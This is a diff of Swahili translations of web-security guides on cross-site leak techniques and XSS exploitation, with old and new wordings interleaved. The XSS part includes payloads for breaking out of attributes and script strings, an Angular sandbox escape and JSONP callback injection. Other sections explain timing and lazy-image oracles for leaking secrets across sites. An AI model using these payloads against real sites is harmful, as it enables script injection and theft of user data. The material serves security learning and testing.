- **getVideoPlaybackQuality()**: Kazi hii inatoa maelezo kuhusu ubora wa upigaji video, ikiwa ni pamoja na `totalVideoFrames`, ambayo inaweza kuonyesha kiasi cha data ya video iliyop processed. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: Kipengele hiki kinavuja `height` na `width` ya picha. Hata hivyo, ikiwa picha ni batili, mali hizi zitarudisha 0, na kazi ya `image.decode()` itakataliwa, ikionyesha kushindwa kwa kupakia picha vizuri. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
- **getVideoPlaybackQuality()**: Kazi hii inatoa maelezo kuhusu ubora wa upigaji video, ikiwa ni pamoja na `totalVideoFrames`, ambayo inaweza kuashiria kiasi cha data ya video iliyop processed. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: Kipengele hiki kinavuja `height` na `width` ya picha. Hata hivyo, ikiwa picha ni batili, mali hizi zitarudisha 0, na kazi ya `image.decode()` itakataliwa, ikionyesha kushindwa kwa kupakia picha ipasavyo. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
### CSS Property
@ -700,7 +700,7 @@ Kuvuja kwa taarifa kupitia vipengele vya HTML ni wasiwasi katika usalama wa wavu
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Programu za wavuti zinaweza kubadilisha mtindo wa **wavuti kulingana na hali ya mtumiaji**. Faili za CSS za kuvuka mipaka zinaweza kuingizwa kwenye ukurasa wa mshambuliaji kwa kutumia **kipengele cha HTML link**, na **kanuni** zitatumika kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa hubadilisha kanuni hizi kwa njia ya kidinamik, mshambuliaji anaweza **kutambua** **tofauti** hizi kulingana na hali ya mtumiaji.\
Kama mbinu ya kuvuja, mshambuliaji anaweza kutumia njia ya `window.getComputedStyle` kusoma mali za CSS za kipengele maalum cha HTML. Kama matokeo, mshambuliaji anaweza kusoma mali za CSS zisizo na mipaka ikiwa kipengele kilichohusika na jina la mali kinajulikana.
Kama mbinu ya uvujaji, mshambuliaji anaweza kutumia njia ya `window.getComputedStyle` kusoma mali za CSS za kipengele maalum cha HTML. Kama matokeo, mshambuliaji anaweza kusoma mali za CSS zisizo na mipaka ikiwa kipengele kilichohusika na jina la mali kinajulikana.
### CSS History
@ -715,9 +715,9 @@ Kama mbinu ya kuvuja, mshambuliaji anaweza kutumia njia ya `window.getComputedSt
Mchoro wa CSS `:visited` unatumika kubadilisha mtindo wa URLs tofauti ikiwa tayari zimetembelewa na mtumiaji. Katika siku za nyuma, njia ya `getComputedStyle()` inaweza kutumika kutambua tofauti hizi za mtindo. Hata hivyo, vivinjari vya kisasa vimeanzisha hatua za usalama ili kuzuia njia hii kufichua hali ya kiungo. Hatua hizi ni pamoja na kurudisha kila wakati mtindo uliohesabiwa kana kwamba kiungo kimetembelewa na kuzuia mitindo ambayo inaweza kutumika na mchoro wa `:visited`.
Licha ya vizuizi hivi, inawezekana kutambua hali ya kutembelewa ya kiungo kwa njia isiyo ya moja kwa moja. Mbinu moja inahusisha kumdanganya mtumiaji kuingiliana na eneo lililoathiriwa na CSS, hasa kwa kutumia mali ya `mix-blend-mode`. Mali hii inaruhusu kuchanganya vipengele na mandharinyuma yao, ikifichua hali ya kutembelewa kulingana na mwingiliano wa mtumiaji.
Licha ya vizuizi hivi, inawezekana kutambua hali ya kutembelewa ya kiungo kwa njia isiyo ya moja kwa moja. Mbinu moja inahusisha kumdanganya mtumiaji kuingiliana na eneo lililoathiriwa na CSS, hasa kwa kutumia mali ya `mix-blend-mode`. Mali hii inaruhusu kuchanganya vipengele na mandharinyuma yao, ikionyesha hali ya kutembelewa kulingana na mwingiliano wa mtumiaji.
Zaidi ya hayo, kutambua kunaweza kufanywa bila mwingiliano wa mtumiaji kwa kutumia muda wa uwasilishaji wa viungo. Kwa kuwa vivinjari vinaweza kuwasilisha viungo vilivyotembelewa na visivyotembelewa tofauti, hii inaweza kuleta tofauti ya muda inayoweza kupimwa katika uwasilishaji. Ushahidi wa dhana (PoC) ulitajwa katika ripoti ya hitilafu ya Chromium, ikionyesha mbinu hii kwa kutumia viungo vingi ili kuongeza tofauti ya muda, hivyo kufanya hali ya kutembelewa iweze kutambuliwa kupitia uchambuzi wa muda.
Zaidi ya hayo, kutambua kunaweza kufanywa bila mwingiliano wa mtumiaji kwa kutumia nyakati za uwasilishaji wa viungo. Kwa kuwa vivinjari vinaweza kuwasilisha viungo vilivyotembelewa na visivyotembelewa tofauti, hii inaweza kuleta tofauti ya wakati inayoweza kupimwa katika uwasilishaji. Ushahidi wa dhana (PoC) ulitajwa katika ripoti ya hitilafu ya Chromium, ikionyesha mbinu hii kwa kutumia viungo vingi ili kuongeza tofauti ya wakati, hivyo kufanya hali ya kutembelewa iweze kutambuliwa kupitia uchambuzi wa wakati.
Kwa maelezo zaidi kuhusu mali hizi na mbinu, tembelea kurasa zao za hati:
@ -743,19 +743,19 @@ Katika Chrome, ikiwa ukurasa wenye kichwa cha `X-Frame-Options` kimewekwa kuwa "
- **Summary:** Mshambuliaji anaweza kutambua upakuaji wa faili kwa kutumia iframes; upatikanaji wa kuendelea wa iframe unaashiria upakuaji wa faili uliofanikiwa.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
Kichwa cha `Content-Disposition`, hasa `Content-Disposition: attachment`, kinaelekeza kivinjari kupakua maudhui badala ya kuyonyesha ndani. Tabia hii inaweza kutumiwa kutambua ikiwa mtumiaji ana ufikiaji wa ukurasa unaosababisha upakuaji wa faili. Katika vivinjari vya msingi vya Chromium, kuna mbinu chache za kutambua tabia hii ya upakuaji:
Kichwa cha `Content-Disposition`, hasa `Content-Disposition: attachment`, kinaelekeza kivinjari kupakua maudhui badala ya kuyonyesha ndani. Tabia hii inaweza kutumiwa kutambua ikiwa mtumiaji ana ufikiaji wa ukurasa unaosababisha upakuaji wa faili. Katika vivinjari vinavyotegemea Chromium, kuna mbinu chache za kutambua tabia hii ya upakuaji:
1. **Ufuatiliaji wa Upakuaji Bar**:
- Wakati faili inapopakuliwa katika vivinjari vya msingi vya Chromium, upakuaji bar inaonekana chini ya dirisha la kivinjari.
- Kwa kufuatilia mabadiliko katika urefu wa dirisha, washambuliaji wanaweza kudhani kuonekana kwa upakuaji bar, ikionyesha kuwa upakuaji umeanzishwa.
2. **Upakuaji wa Navigesheni kwa Iframes**:
- Wakati ukurasa unaposababisha upakuaji wa faili kwa kutumia kichwa cha `Content-Disposition: attachment`, haileti tukio la navigesheni.
- Kwa kupakia maudhui katika iframe na kufuatilia matukio ya navigesheni, inawezekana kuangalia ikiwa hali ya maudhui inasababisha upakuaji wa faili (hakuna navigesheni) au la.
3. **Upakuaji wa Navigesheni bila Iframes**:
- Kama mbinu ya iframe, njia hii inahusisha kutumia `window.open` badala ya iframe.
- Kufuatilia matukio ya navigesheni katika dirisha lililofunguliwa jipya kunaweza kufichua ikiwa upakuaji wa faili ulianzishwa (hakuna navigesheni) au ikiwa maudhui yanaonyeshwa ndani (navigesheni inatokea).
1. **Ufuatiliaji wa Upau wa Upakuaji**:
- Wakati faili inapopakuliwa katika vivinjari vinavyotegemea Chromium, upau wa upakuaji unaonekana chini ya dirisha la kivinjari.
- Kwa kufuatilia mabadiliko katika urefu wa dirisha, washambuliaji wanaweza kudhani kuonekana kwa upau wa upakuaji, ikionyesha kuwa upakuaji umeanzishwa.
2. **Usafiri wa Upakuaji kwa Iframes**:
- Wakati ukurasa unaposababisha upakuaji wa faili kwa kutumia kichwa cha `Content-Disposition: attachment`, haileti tukio la usafiri.
- Kwa kupakia maudhui katika iframe na kufuatilia matukio ya usafiri, inawezekana kuangalia ikiwa usambazaji wa maudhui unasababisha upakuaji wa faili (hakuna usafiri) au la.
3. **Usafiri wa Upakuaji bila Iframes**:
- Kama ilivyo kwa mbinu ya iframe, mbinu hii inahusisha kutumia `window.open` badala ya iframe.
- Kufuatilia matukio ya usafiri katika dirisha lililo wazi linaweza kufichua ikiwa upakuaji wa faili ulianzishwa (hakuna usafiri) au ikiwa maudhui yanaonyeshwa ndani (usafiri unafanyika).
Katika hali ambapo ni watumiaji walioingia tu wanaoweza kuanzisha upakuaji kama huu, mbinu hizi zinaweza kutumika kutambua hali ya uthibitisho wa mtumiaji kwa msingi wa majibu ya kivinjari kwa ombi la upakuaji.
Katika hali ambapo ni watumiaji walioingia tu wanaoweza kuanzisha upakuaji kama huu, mbinu hizi zinaweza kutumika kwa njia isiyo ya moja kwa moja kudhani hali ya uthibitisho wa mtumiaji kulingana na majibu ya kivinjari kwa ombi la upakuaji.
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
@ -769,9 +769,9 @@ Katika hali ambapo ni watumiaji walioingia tu wanaoweza kuanzisha upakuaji kama
> Hii ndiyo sababu mbinu hii ni ya kuvutia: Chrome sasa ina **cache partitioning**, na funguo ya cache ya ukurasa uliofunguliwa hivi karibuni ni: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, lakini ikiwa nitafungua ukurasa wa ngrok na kutumia fetch ndani yake, funguo ya cache itakuwa: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **funguo ya cache ni tofauti**, hivyo cache haiwezi kushirikiwa. Unaweza kupata maelezo zaidi hapa: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Maoni kutoka [**hapa**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
Ikiwa tovuti `example.com` inajumuisha rasilimali kutoka `*.example.com/resource` basi rasilimali hiyo itakuwa na **funguo sawa ya caching** kama rasilimali ilivyoombwa moja kwa moja **kupitia navigesheni ya ngazi ya juu**. Hii ni kwa sababu funguo ya caching inajumuisha ngazi ya juu _eTLD+1_ na frame _eTLD+1_.
Ikiwa tovuti `example.com` inajumuisha rasilimali kutoka `*.example.com/resource` basi rasilimali hiyo itakuwa na **funguo sawa ya caching** kama vile rasilimali hiyo ilivyoombwa moja kwa moja **kupitia usafiri wa ngazi ya juu**. Hii ni kwa sababu funguo ya caching inajumuisha ngazi ya juu _eTLD+1_ na frame _eTLD+1_.
Kwa sababu ufikiaji wa cache ni wa haraka zaidi kuliko kupakia rasilimali, inawezekana kujaribu kubadilisha eneo la ukurasa na kuifuta 20ms (kwa mfano) baada ya hapo. Ikiwa asili ilibadilishwa baada ya kusitisha, inamaanisha kuwa rasilimali ilihifadhiwa.\
Kwa sababu ufikiaji wa cache ni wa haraka zaidi kuliko kupakia rasilimali, inawezekana kujaribu kubadilisha eneo la ukurasa na kulifuta baada ya 20ms (kwa mfano). Ikiwa asili ilibadilishwa baada ya kusitisha, inamaanisha kuwa rasilimali ilihifadhiwa.\
Au inaweza tu **kutuma baadhi ya fetch kwa ukurasa unaoweza kuhifadhiwa na kupima muda inachukua**.
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
@ -789,17 +789,17 @@ Au inaweza tu **kutuma baadhi ya fetch kwa ukurasa unaoweza kuhifadhiwa na kupim
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Summary:** Inawezekana kujaribu kupakia rasilimali na kuacha kabla ya kupakiwa, kulingana na ikiwa kosa linatokea, rasilimali ilikuwa au haikuwa imehifadhiwa.
- **Summary:** Inawezekana kujaribu kupakia rasilimali na kusitisha kabla ya kupakiwa. Kulingana na ikiwa kosa linatokea, rasilimali ilikuwa au haikuwa imehifadhiwa.
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Tumia _**fetch**_ na _**setTimeout**_ na **AbortController** kugundua ikiwa **rasilimali imehifadhiwa** na kuondoa rasilimali maalum kutoka kwenye cache ya kivinjari. Zaidi ya hayo, mchakato huu unafanyika bila kuhifadhi maudhui mapya.
Tumia _**fetch**_ na _**setTimeout**_ pamoja na **AbortController** kugundua ikiwa **rasilimali imehifadhiwa** na kuondoa rasilimali maalum kutoka kwenye cache ya kivinjari. Zaidi ya hayo, mchakato huu unafanyika bila kuhifadhi maudhui mapya.
### Script Pollution
- **Inclusion Methods**: HTML Elements (script)
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Summary:** Inawezekana **kufuta kazi zilizojengwa ndani** na kusoma hoja zao hata kutoka **script ya kuvuka mipaka** (ambayo haiwezi kusomwa moja kwa moja), hii inaweza **kuvuja taarifa muhimu**.
- **Summary:** Inawezekana **kufuta kazi za ndani** na kusoma hoja zao hata kutoka **kwa script za kuvuka mipaka** (ambazo haziwezi kusomwa moja kwa moja), hii inaweza **kuvuja taarifa muhimu**.
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
### Service Workers <a href="#service-workers" id="service-workers"></a>
@ -807,15 +807,15 @@ Tumia _**fetch**_ na _**setTimeout**_ na **AbortController** kugundua ikiwa **ra
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
- **Summary:** Pima muda wa utekelezaji wa wavuti kwa kutumia service workers.
- **Summary:** Pima muda wa utekelezaji wa wavuti kwa kutumia huduma za wafanyakazi.
- **Code Example**:
Katika hali iliyotolewa, mshambuliaji anachukua hatua ya kujiandikisha **service worker** ndani ya moja ya maeneo yao, hasa "attacker.com". Kisha, mshambuliaji anafungua dirisha jipya katika tovuti lengwa kutoka kwa hati kuu na kuagiza **service worker** kuanzisha kipima muda. Wakati dirisha jipya linaanza kupakia, mshambuliaji anasafisha rejeleo lililopatikana katika hatua ya awali kwenda kwenye ukurasa unaosimamiwa na **service worker**.
Katika hali iliyotolewa, mshambuliaji anachukua hatua ya kujiandikisha **mshauri wa huduma** ndani ya moja ya maeneo yao, hasa "attacker.com". Kisha, mshambuliaji anafungua dirisha jipya katika tovuti lengwa kutoka kwa hati kuu na kumwambia **mshauri wa huduma** aanze kipima muda. Wakati dirisha jipya linaanza kupakia, mshambuliaji anapeleka rejeleo lililopatikana katika hatua ya awali kwenye ukurasa unaosimamiwa na **mshauri wa huduma**.
Pale ombi lililoanzishwa katika hatua ya awali linapofika, **service worker** inajibu kwa msimbo wa hali **204 (No Content)**, ikimaliza mchakato wa navigesheni. Wakati huu, **service worker** inachukua kipimo kutoka kwa kipima muda kilichoanisha mapema katika hatua ya pili. Kipimo hiki kinategemea muda wa JavaScript unaosababisha ucheleweshaji katika mchakato wa navigesheni.
Pale ombi lililoanzishwa katika hatua ya awali linapofika, **mshauri wa huduma** unajibu kwa msimbo wa hali **204 (No Content)**, kwa ufanisi ukimaliza mchakato wa usafiri. Wakati huu, **mshauri wa huduma** anachukua kipimo kutoka kwa kipima muda kilichoanzishwa mapema katika hatua ya pili. Kipimo hiki kinategemea muda wa JavaScript unaosababisha ucheleweshaji katika mchakato wa usafiri.
> [!WARNING]
> Katika kipimo cha utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuupakia.
> Katika kipimo cha utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.
### Fetch Timing
@ -847,14 +847,14 @@ Hapa unaweza kupata mbinu za kuhamasisha taarifa kutoka kwa HTML ya kuvuka mipak
### Image Lazy Loading
Ikiwa unahitaji **kuhamasisha maudhui** na unaweza **kuongeza HTML kabla ya siri** unapaswa kuangalia **mbinu za kawaida za dangling markup**.\
Hata hivyo, ikiwa kwa sababu yoyote unapaswa kufanya hivyo **karakteri kwa karakteri** (labda mawasiliano ni kupitia hit ya cache) unaweza kutumia hila hii.
Hata hivyo, ikiwa kwa sababu yoyote unapaswa kufanya hivyo **karakter kwa karakter** (labda mawasiliano ni kupitia hit ya cache) unaweza kutumia hila hii.
**Picha** katika HTML ina sifa ya "**loading**" ambayo thamani yake inaweza kuwa "**lazy**". Katika kesi hiyo, picha itapakiwa wakati inapoonekana na si wakati ukurasa unapoendelea kupakia:
```html
<img src=/something loading=lazy >
```
Kwa hivyo, kile unachoweza kufanya ni **kuongeza herufi nyingi za junk** (Kwa mfano **maelfu ya "W"s**) ili **kujaza ukurasa wa wavuti kabla ya siri au kuongeza kitu kama** `<br><canvas height="1850px"></canvas><br>.`\
Kisha ikiwa kwa mfano **kuingiza kwetu kunaonekana kabla ya bendera**, **picha** itakuwa **imepakiwa**, lakini ikiwa inaonekana **baada** ya **bendera**, bendera + junk itakuwa **zuia kupakiwa** (utahitaji kucheza na ni kiasi gani cha junk cha kuweka). Hii ndiyo ilivyotokea katika [**hiki andiko**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Kisha ikiwa kwa mfano **kuingiza kwetu kunaonekana kabla ya bendera**, **picha** itakuwa **imepakiwa**, lakini ikiwa inaonekana **baada** ya **bendera**, bendera + junk it **azuie kupakiwa** (utahitaji kucheza na kiasi cha junk cha kuweka). Hii ndiyo ilitokea katika [**hiki andiko**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Chaguo jingine lingekuwa kutumia **scroll-to-text-fragment** ikiwa inaruhusiwa:
@ -866,15 +866,15 @@ Hata hivyo, unafanya **bot kuingia kwenye ukurasa** na kitu kama
```
Hivyo ukurasa wa wavuti utakuwa kama: **`https://victim.com/post.html#:~:text=SECR`**
Ambapo post.html ina wahasiriwa wa wahasiriwa na picha ya kupakia polepole na kisha siri ya roboti inaongezwa.
Ambapo post.html ina wahasibu wa mshambuliaji na picha ya kupakia polepole na kisha siri ya roboti inaongezwa.
Kile hiki kitatenda ni kumfanya roboti kufikia maandiko yoyote kwenye ukurasa ambayo yana maandiko `SECR`. Kwa kuwa maandiko hayo ni siri na yako tu **chini ya picha**, **picha itapakia tu ikiwa siri iliyokisiwa ni sahihi**. Hivyo unayo oracle yako ili **kuondoa siri hiyo taratibu.**
Kile maandiko haya yatakachofanya ni kumfanya roboti kufikia maandiko yoyote kwenye ukurasa ambayo yana maandiko `SECR`. Kwa kuwa maandiko hayo ni siri na yako tu **chini ya picha**, **picha itapakia tu ikiwa siri iliyokisiwa ni sahihi**. Hivyo unayo oracle yako ya **kutoa siri hiyo taratibu**.
Mfano wa msimbo wa kutumia hili: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
Mfano wa msimbo wa kutumia hii: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### Picha ya Kupakia Polepole Kulingana na Wakati
### Picha Inayopakia Polepole Kulingana na Wakati
Ikiwa **haiwezekani kupakia picha ya nje** ambayo inaweza kumwonyesha mshambuliaji kwamba picha imepakiwa, chaguo jingine litakuwa kujaribu **kukisia herufi kadhaa mara nyingi na kupima hilo**. Ikiwa picha imepakiwa, maombi yote yatakuwa na muda mrefu zaidi kuliko ikiwa picha haijapakiwa. Hii ndiyo iliyotumika katika [**ufumbuzi wa andiko hili**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **iliyofupishwa hapa:**
Ikiwa **haiwezekani kupakia picha ya nje** ambayo inaweza kumwonyesha mshambuliaji kwamba picha imepakiwa, chaguo jingine litakuwa kujaribu **kukisia herufi kadhaa na kupima hiyo**. Ikiwa picha imepakiwa, maombi yote yatakuwa na muda mrefu zaidi kuliko ikiwa picha haijapakiwa. Hii ndiyo iliyotumika katika [**ufumbuzi wa andiko hili**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **iliyofupishwa hapa:**
{{#ref}}
event-loop-blocking-+-lazy-images.md
@ -888,7 +888,7 @@ event-loop-blocking-+-lazy-images.md
### CSS ReDoS
Ikiwa `jQuery(location.hash)` inatumika, inawezekana kugundua kupitia wakati i**f baadhi ya maudhui ya HTML yapo**, hii ni kwa sababu ikiwa mteuzi `main[id='site-main']` hauendani, haitahitaji kuangalia mteuzi wengine wote:
Ikiwa `jQuery(location.hash)` inatumika, inawezekana kugundua kupitia wakati i**kikuwapo maudhui ya HTML**, hii ni kwa sababu ikiwa mteuzi `main[id='site-main']` hauendani, haitahitaji kuangalia sehemu nyingine za **mteuzi**:
```javascript
$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"

View File

@ -22,7 +22,7 @@
2. Je, unaweza kutoroka mfuatano na kutekeleza JS code tofauti?
3. Je, ingizo lako liko katika template literals \`\`?
4. Je, unaweza kupita ulinzi?
4. Javascript **function** inayo **tekelezwa**
4. Javascript **function** inayotekelezwa
1. Unaweza kuashiria jina la kazi ya kutekeleza. e.g.: `?callback=alert(1)`
4. Ikiwa **inatumiwa**:
1. Unaweza kutumia **DOM XSS**, zingatia jinsi ingizo lako linavyodhibitiwa na ikiwa **ingizo lako lililodhibitiwa linatumika na sink yoyote.**
@ -38,12 +38,12 @@ debugging-client-side-js.md
Ili kufanikiwa kutumia XSS, jambo la kwanza unahitaji kupata ni **thamani inayodhibitiwa na wewe inayorudi** kwenye ukurasa wa wavuti.
- **Inarudi kwa kati**: Ikiwa unapata kwamba thamani ya parameta au hata njia inarudi kwenye ukurasa wa wavuti unaweza kutumia **Reflected XSS**.
- **Ilihifadhiwa na inarudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**.
- **Ilihifadhiwa na kurudi**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe imehifadhiwa kwenye seva na inarudi kila wakati unapoingia kwenye ukurasa unaweza kutumia **Stored XSS**.
- **Inafikiwa kupitia JS**: Ikiwa unapata kwamba thamani inayodhibitiwa na wewe inafikiwa kwa kutumia JS unaweza kutumia **DOM XSS**.
## Contexts
Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linavyorudi**. Kulingana na muktadha, utaweza kutekeleza JS code bila mipaka kwa njia tofauti.
Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linaporudi**. Kulingana na muktadha, utaweza kutekeleza JS code isiyo na mipaka kwa njia tofauti.
### Raw HTML
@ -54,12 +54,12 @@ Pia, kumbuka [Client Side Template Injection](../client-side-template-injection-
Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya tag unaweza kujaribu:
1. Kutoroka **kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
2. Ikiwa **unaweza kutoroka kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), kisha kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code bila mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali `javascript:` kutekeleza code bila mipaka: **`href="javascript:alert(1)"`**
1. Kutoka **katika sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
2. Ikiwa **unaweza kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
3. Ikiwa **huwezi kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani yake **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** ili kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa:
Mfano wa ajabu wa Angular akitekeleza XSS ikiwa unadhibiti jina la darasa:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -69,13 +69,13 @@ Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa:
Katika kesi hii, ingizo lako linarejelewa kati ya **`<script> [...] </script>`** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
- Ikiwa inarejelewa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halita tekelezwa):
- Ikiwa inarejelewa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakiwezi kugundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kutekeleza** msimbo wako na **kujenga upya** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- Ikiwa inarejelewa ndani ya template literals unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode** inafanya kazi kuandika **msimbo sahihi wa javascript**:
- Ikiwa inarejelewa ndani ya maandiko ya templeti, unaweza **kuingiza maelekezo ya JS** kwa kutumia sintaksia ya `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode** inafanya kazi kuandika **msimbo wa javascript halali**:
```javascript
alert(1)
alert(1)
@ -83,7 +83,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting inahusisha fursa ya **kutangaza kazi, mabadiliko au madarasa baada ya matumizi yao ili uweze kutumia hali ambapo XSS inatumia mabadiliko au kazi zisizotangazwa.**\
Javascript Hoisting inahusisha fursa ya **kutangaza kazi, mabadiliko au madarasa baada ya kutumika ili uweze kutumia hali ambapo XSS inatumia mabadiliko au kazi zisizotangazwa.**\
**Angalia ukurasa ufuatao kwa maelezo zaidi:**
{{#ref}}
@ -98,7 +98,7 @@ Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinaja
![](<../../images/image (711).png>)
Iwapo ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu utakuwa **ukithibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na alama za chini (**`[\w\._]`**).
Ikiwa ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na alama za chini (**`[\w\._]`**).
Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengee chochote katika DOM**:
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
### DOM
Kuna **kodhi ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodhi ya JS isiyo na mipaka.
